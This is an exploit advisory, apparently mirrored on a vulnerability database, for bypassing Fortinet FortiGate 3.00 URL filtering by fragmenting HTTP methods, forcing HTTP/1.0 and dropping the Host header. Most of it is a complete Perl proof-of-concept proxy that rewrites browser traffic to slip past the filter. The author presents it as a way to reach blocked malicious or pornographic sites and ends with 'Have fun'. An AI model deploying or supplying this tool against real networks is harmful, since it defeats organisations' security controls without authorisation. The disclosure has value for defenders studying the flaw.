`I dont know if its new but i code it during a PentTest and i would
like to share it with you.
It is based on code developed By sinhack research labs:
http://sinhack.net/URLFilteringEvasion/sakeru.tx
Description:
"Fortinet's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that fulfill 3 factors:
1.- HTTP Requests are terminated by the CRLF characters.
2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.
3.- Finally, by Fragmenting the GET or POST requests
Analysis:
Fortinet's past vulnerability
(http://www.fortiguardcenter.com/advisory/FGA-2006-10.html) said:
Moreover, while it is possible "to bypass the functionality via an
HTTP/1.0 request with no host header", the use of a host field is
actually required to access a specific site on multi-homed web sites.
When no host header is used, the intended web site is actually not
displayed. Therefore, there is no risk.
Macula's Analysis: If you dont have properly installed some AV, HIPS,
etc, through this vuln, a workstation can connect to a malicious
"Hacking Site" and get infected. Also through this vuln, you can
connect to different porn sites without problems. And no matter if its
or not multi-homed web sites. So we consider its not a low risk.
Products affected:
We only tested it on:
fortiGate-1000 3.00, build 040075,070111
Solution:
We tried to contact the vendor, but without any response.
PoC:
#!/usr/bin/perl
########################################
# fortiGuard.pl v0.1 - http://www.macula-group.com/
#
# # URL Filtering Bypass proof of concept
# Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some
minnor modifications from sinhack code)
# Based on PoC from sinhack research labs -> sakeru.pl
#
#FortiGuard's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that are terminated by the CRLF
character
#instead of the LF characters and changing version of HTTP to 1.0
without sending Host: Header and Fragmenting the GET and POST Requests
#
#Tested On: fortiGate-1000 3.00, build 040075,070111
#
#This code has been released Only for educational purposes. The author
cannot be held responsible for any bad use.
# Usage:
# 1) perl fortiGuard.pl
# 2) Configure your browser's proxy at localhost:5050
# 3) Have fun.
# --- Start Of Script---
use strict;
use URI;
use IO::Socket;
my $showOpenedSockets=1; #Activate the console logging
my $debugging=0;
my $server = IO::Socket::INET->new ( #Proxy Configuration
LocalPort => 5050, #Change the listening port here
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10);
binmode $server;
print "Waiting for connections on port 5050 TCP...\n";
while (my $browser = $server->accept()) { #When a connection occure...
binmode $browser;
my $method="";
my $content_length = 0;
my $content = 0;
my $accu_content_length = 0;
my $host;
my $hostAddr;
my $httpVer;
my $line;
while (my $browser_line = <$browser>) { #Get the Browser commands
unless ($method) {
($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+)
+(\S+) +(\S+)/;
my $uri = URI->new($hostAddr);
$host = IO::Socket::INET->new ( #Opening the connexion to the
remote host
PeerAddr=> $uri->host,
PeerPort=> $uri->port ) or die "couldn't open $hostAddr";
if ($showOpenedSockets) { #Connection logs
#print "Source:".$browser->peerhost."\n";
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
localtime(time);
$year += 1900;
$mon += 1;
printf ("\n%04d-%02d-%02d %02d:%02d:%02d
",$year,$mon,$mday,$hour,$min,$sec);
print $browser->peerhost." -> ".$uri->host.":".$uri->port."
$method ".$uri->path_query."\n";;
}
binmode $host;
my $char;
if ($method == "GET") { #Fragmention the "GET" query
foreach $char ('G','E','T',' ') { #I know, there is better
way to do it,
print $host $char; #but I'm tired and lazy...
}
} elsif ($method == "POST") { #Fragmentation of "POST" query
foreach $char ('P','O','S','T',' ') {
print $host $char;
}
} else {
print $host "$method "; #For all the other methods, send
them without modif
print "*";
}
$httpVer="HTTP/1.0"; #Forzando a version 1.0
print $host $uri->path_query . " $httpVer\r\n"; #Send the rest
of the query (url and http version)
#next;
}
$content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;
$accu_content_length+=length $browser_line;
foreach $line (split('\n', $browser_line)) { #Fragment the Host query
if ($line =~ /^Host:/ ) {
#my $char="";
#my $word="";
#my $bogus="";
#($bogus,$word) = split(' ', $line);
#foreach $char ('H','o','s','t',':',' ') {
#print $host $char;
#}
#print $host $word."\r\n";
} else {
print $host "$line\r\n"; #For all the other lines, send
them without modif
}
if ( $debugging == 1 && $method == "POST" ) {
print "$line\n";
}
}
#Danux Clave para terminar el Request y enviarlo al servidor
web, de otra forma se queda esperando este ultimo la peticion
print $host "\r\n";
last if $browser_line =~ /^\s*$/ and $method ne 'POST';
if ($browser_line =~ /^\s*$/ and $method eq "POST") {
$content = 1;
last unless $content_length;
next;
}
#print length $browser_line . " - ";
if ($content) {
$accu_content_length+=length $browser_line;
last if $accu_content_length >= $content_length;
}
}
$content_length = 0;
$content = 0;
$accu_content_length = 0;
my $crcount=0;
my $totalcounter=0;
my $packetcount=0;
while ( my $host_line = <$host> ) { #Reception of the result from the server
$totalcounter+=length $host_line;
print $browser $host_line; #Send them back to the browser
#print $host_line if ( ! $content ); #Send them back to the browser
if ($host_line=~/Content-length: +(\d+)/i) {
$content_length = $1;
#print " * Expecting $content_length\n"; #if ($debugging);
}
if ($host_line =~ m/^\s*$/ and not $content) {
$content = 1;
#print " * Beginning of the data section\n";
}
if ($content) {
#$accu_content_length+=length $host_line;
if ($content_length) {
#print " * binary data section\n";
my $buffer;
my $buffersize = 512;
if ($content_length < $buffersize) { $buffersize = $content_length; }
while ( my $nbread = read($host, $buffer, $buffersize)) {
print "#";
$packetcount++;
$accu_content_length+=$nbread;
#last if $accu_content_length >= $content_length;
print $browser $buffer; #Send them back to the browser
#print $buffer;
#print "\n(#$packetcount) ";
#print "total: $totalcounter content_length:
$content_length acc: $accu_content_length\t";
my $tmp1 = $content_length - $accu_content_length;
#print "length-accu= $tmp1\n";
if ($tmp1 < $buffersize) {
$buffersize = $tmp1;
#print "new buffersize = $buffersize\n";
}
}
#print "Out of the content while\n";
}
}
#print "(#$packetcount) ";
#print "total: $totalcounter content_length: $content_length
acc: $accu_content_length\t";
#my $tmp1 = $content_length - $accu_content_length;
#print "length-accu= $tmp1\n";
last if ($accu_content_length >= $content_length and $content ==
1 and $content_length);
}
#print "\nOut for a while\n";
if ($browser) { $browser -> close; } #Closing connection to the browser
if ($host) { $host -> close; } #Closion connection to the server
}
# --- EOF ---
--
Danux, CISSP, OSCP
Offensive Security Consultant
Macula Security Consulting Group
www.macula-group.com
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation